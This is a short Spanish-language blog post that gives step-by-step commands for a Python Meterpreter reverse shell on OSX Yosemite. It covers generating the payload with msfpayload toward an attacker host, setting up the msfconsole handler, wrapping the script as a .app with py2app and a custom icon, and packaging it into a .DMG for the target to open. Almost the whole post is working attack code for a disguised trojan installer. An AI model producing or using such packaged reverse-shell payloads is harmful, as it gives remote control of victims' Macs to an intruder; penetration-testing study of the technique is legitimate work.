Mostrando las entradas con la etiqueta python meterpreter reverse shell osx. Mostrar todas las entradas
Mostrando las entradas con la etiqueta python meterpreter reverse shell osx. Mostrar todas las entradas

22/10/14

Python meterpreter Reverse shell OSX Yosemite

Esta es una PoC para obtener una shell inversa con python meterpreter para OSX Yosemite.

Crear shell inversa ofuscada en python meterpreter:

msfpayload python/meterpreter/reverse_tcp LPORT=443 LHOST=x.x.x.x R > shell.py

LISTENER:

msfconsole
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set lport 443
set lhost 0.0.0.0

Para poder hacer el .py a .app necesitamos tener instalado en py2app, podemos instalarlo asi:

pip install py2app

Creamos el Setup.py

"""
This is a setup.py script generated by py2applet

Usage:
    python setup.py py2app
"""

from setuptools import setup

APP = ['NOMBRE-shell.py']
DATA_FILES = []
OPTIONS = {'iconfile': 'NOMBRE-ICONO.icns',}

setup(
    app=APP,
    data_files=DATA_FILES,
    options={'py2app': OPTIONS},
    setup_requires=['py2app'],

)

Si tenemos un icono que deseemos poner recordar que para mac necesita estar en extensión .icns y dentro del mismo directorio que donde esta shell.py setup.py.

Creamos el .APP:

python setup.py py2app


Para empaquetarlo en .DMG:


hdiutil create NAME.dmg -srcfolder dist/Nombre-APP.app

-------------------------------------------------------------------------

Para probar el PoC podemos correr ya en OSX nuestra shell.py en terminal:

python shell.py

o

Solamente abriendo el .APP o bien el .DMG: